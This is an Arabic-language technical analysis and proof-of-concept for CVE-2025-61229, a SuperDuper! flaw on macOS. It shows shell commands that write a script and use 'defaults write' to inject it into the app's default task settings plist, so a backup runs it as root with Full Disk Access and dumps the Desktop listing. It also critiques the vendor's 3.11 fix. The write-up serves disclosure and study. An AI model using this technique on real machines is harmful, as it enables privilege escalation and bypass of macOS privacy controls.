
تحليل تقني واستغلال إثبات المفهوم لـ CVE-2025-61229، ثغرة تصعيد صلاحيات محلية في SuperDuper! تسمح بتنفيذ نصوص برمجية عشوائية بصلاحيات الجذر والوصول الكامل للقرص على macOS.
من مدونة المطور:
نصوص الأوامر (Before/After Shell Scripts) التي يحددها المستخدم تُنفذ بصلاحيات مرتفعة، مع صلاحيات SuperDuper للوصول الكامل إلى القرص (TCC Full Disk Access). نظرًا لأن هذه النصوص تُشار إليها في ملفات الإعدادات للنسخة أو الجدول الزمني، يمكن لمهاجم ضار تعديل هذه الإعدادات لتشغيل نص برمجي خاص به.
من CVE:
مشكلة في SuperDuper! الإصدار 3.10 وما قبله من Shirt Pocket تسمح لمهاجم محلي بتعديل قالب المهمة الافتراضي لتنفيذ نص برمجي عشوائي قبل التشغيل (preflight script) بصلاحيات الجذر والوصول الكامل إلى القرص، مما يتجاوز ضوابط الخصوصية في macOS.
ليس هذا المؤلف هو مكتشف الثغرة، الذي يُعرف من قبل مطور SuperDuper باسم "باحث أمني مجهول". لا أدّعي أي فضل في اكتشاف هذه الثغرة، فقط أبديت بعض الاهتمام بإجراء تحليل تقني لها.
نقاط CVSS 3.1: 7.8 عالية (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
لتجنب هذه الثغرة، إما حذف تطبيق SuperDuper! أو تطبيق التحديث 3.11.
تحذير: يجب تنزيل التحديث مباشرة من موقع المطور لتجنب ثغرة CVE-2025-61228.
يتم تقديم تحليل الاستغلال وإثبات المفهوم هذا لأغراض تعليمية فقط. استخدمه على مسؤوليتك الخاصة.
صلاحيات الجذر والوصول الكامل إلى القرص هي أعلى الصلاحيات التي يمكن للبرامج الحصول عليها على macOS. أي مطور يطلب هذه الصلاحيات يجب أن يكتب برامج تلتزم بمبادئ وأفضل ممارسات تصميم الأمان الحديثة. هذه الثغرة، بالإضافة إلى الثغرات المكشوفة في CVE-2025-57489 و CVE-2025-61228، وحتى اعتراف المطور نفسه بأن هذه المشكلات استمرت لمدة 22 عامًا، تظهر أن SuperDuper لم يكن مصممًا ليكون منتجًا آمنًا، ولم يشهد تحسينات منتظمة في التصميم على مدار 22 عامًا للالتزام بأفضل ممارسات الأمان الحديثة.
لا تزال إعدادات مهمات SuperDuper غير آمنة بطبيعتها في الإصدار الحالي (3.11) من المنتج. أنصح أي شخص يستخدم هذا المنتج بالتوقف عن استخدامه حتى يتمكن المطور من تقديم تحديث كفء يعالج بشكل شامل جميع المخاوف الأمنية المذكورة أعلاه.
كان استغلال هذه الثغرة أسهل بكثير من الاستغلالين السابقين (CVE-2025-57489 و CVE-2025-61228) – بصراحة كان الأمر سهلاً للغاية. عندما تكون ثغرة بهذه الوضوح، سهلة الاستغلال، وتُترك دون معالجة لعقود، تبدأ في التساؤل عما إذا كانت كتابة برامج آمنة مهمة للمطور.
بدءًا بـ إصدار ضعيف من التطبيق، أول شيء علينا فعله هو العثور على مكان وجود "قالب المهمة الافتراضي". المكان الواضح الأول للبحث هو ~/Library/Application Support/{vendor/product name}. بالضبط، هناك ثلاثة مجلدات في ~/Library/Application Support/SuperDuper!:
"Copy Scripts" يحتوي فقط على رابط رمزي لمجلد في حزمة التطبيق، لذا هذا مستبعد. داخل Saved Settings يوجد مجلد مخفي باسم ".Default Settings.sdsp". داخل ذلك المجلد يوجد مجلد "Logs" وملف واحد باسم "Session Settings.sdss" بتنسيق plist. ملف Session Settings مملوك للمستخدم المسجل، ونعم، هناك جميع إعدادات المهمة، جالسة هناك عارية في هذا الملف.
يتم التحكم في نصوص الأوامر قبل/بعد بواسطة أربعة إعدادات:
<key>SDbeforeCopyScript</key>
<string></string>
<key>SDsiteCustomizationScript</key>
<string></string>
<key>SDshouldInvokeBeforeCopyScript</key>
<false/>
<key>SDshouldInvokeSiteCustomizationScript</key>
<false/>
سينتج هذا النص البرمجي الاختباري البسيط كلا جانبي الثغرة:
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
ثم قم فقط بتعديل ملف plist "Session Settings.sdss". أداة defaults ستتولى الأمر بسرعة، لكننا سنحتاج لعمل نسخة من هذا الملف لأن defaults تتطلب ملفًا بامتداد .plist:
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
افتح SuperDuper وقم بتشغيل نسخة احتياطية. عند الانتهاء، ابحث عن ملف "private_data.txt" في /Library (يجب أن يحتوي على قائمة بالملفات من سطح المكتب، والتي لا يمكن الوصول إليها إلا لتطبيق لديه الامتياز الخاص بالوصول إلى تلك البيانات الخاصة). بصراحة، أنا مندهش قليلاً من مدى ضعف إعدادات المهمة. "ضعف" ليس خطأ مطبعي. إليك كيف يصف المطور "الحل" لهذه الثغرة:
للتخفيف من هذه الثغرة، في الإصدار 3.11 قمنا بإجراء تغييرين:
يتم إجبار نصوص الأوامر قبل/بعد على العمل بهوية وصلاحيات المستخدم. يمكن للأفراد الذين يحتاجون سياقات تنفيذ بديلة القيام بذلك من خلال طرق يونكس العادية مثل suid.
يجب أن تكون النصوص مملوكة للمستخدم الجذر، حتى عند تشغيلها في سياق المستخدم العادي. يضمن ذلك أن أي نص سيتم تشغيله قد تم تفويضه صراحةً من قبل مستخدم إداري.
لذا فرضوا بعض القيود على ما يمكن تشغيله كنص قبل/بعد، لكن يبدو أنهم لم يحسنوا أمان ملف إعدادات المهمة. لسوء الحظ، هذا فعال فقط في تقييد المهاجم من القيام بأي شيء مثمر. الشرط الوحيد على نص الأوامر قبل/بعد هو أن يكون مملوكًا للجذر. بصرف النظر عن ذلك، لا يزال المهاجم حرًا في تعديل قالب إعدادات المهمة الافتراضية. هذا سخيف تمامًا. ربما لا يمكن للمهاجم استخدام نصوص الأوامر قبل/بعد هذه لسرقة كلمات المرور والبيانات المالية، لكني أراهن أنه يمكنه إحداث فوضى عن طريق تحديد أي أداة شيل مدمجة عشوائية (معظمها يفي بشرط الملكية الجذرية). تفضل وقم بتوصيل أداة "/usr/bin/say" كنص قبل التشغيل وانظر ماذا يحدث – سيكون هذا مضحكًا لو لم تكن أمن البيانات موضوعًا خطيرًا. لن يكون لأي من الأدوات المدمجة تأثير كبير دون القدرة على تعديل الوسائط، لكن بعضها قد يسبب بعض الإزعاج وسيتسبب بالتأكيد في فشل النسخة الاحتياطية.
وجهة نظري هي أن هناك فرقًا بين "تجنب استغلال الجذر" مقابل "كتابة برامج آمنة". لقد تمكن المطور إلى حد كبير من تجنب فرصتي استغلال جذر هنا، لكن تكوين المهمة لا يزال غير آمن بطبيعته. يمكن لأي شخص عشوائي تعديل إعدادات المهمة "خلف الكواليس"، وإذا لم تكن منتبهًا، فقد تؤدي تلك التغييرات إلى بعض التأثير على بياناتك أو نسختك الاحتياطية.
كما يجب أن تتساءل عما إذا كان هذا الافتقار إلى الأمان في الإعدادات الأخرى لا يزال قابلاً للاستغلال.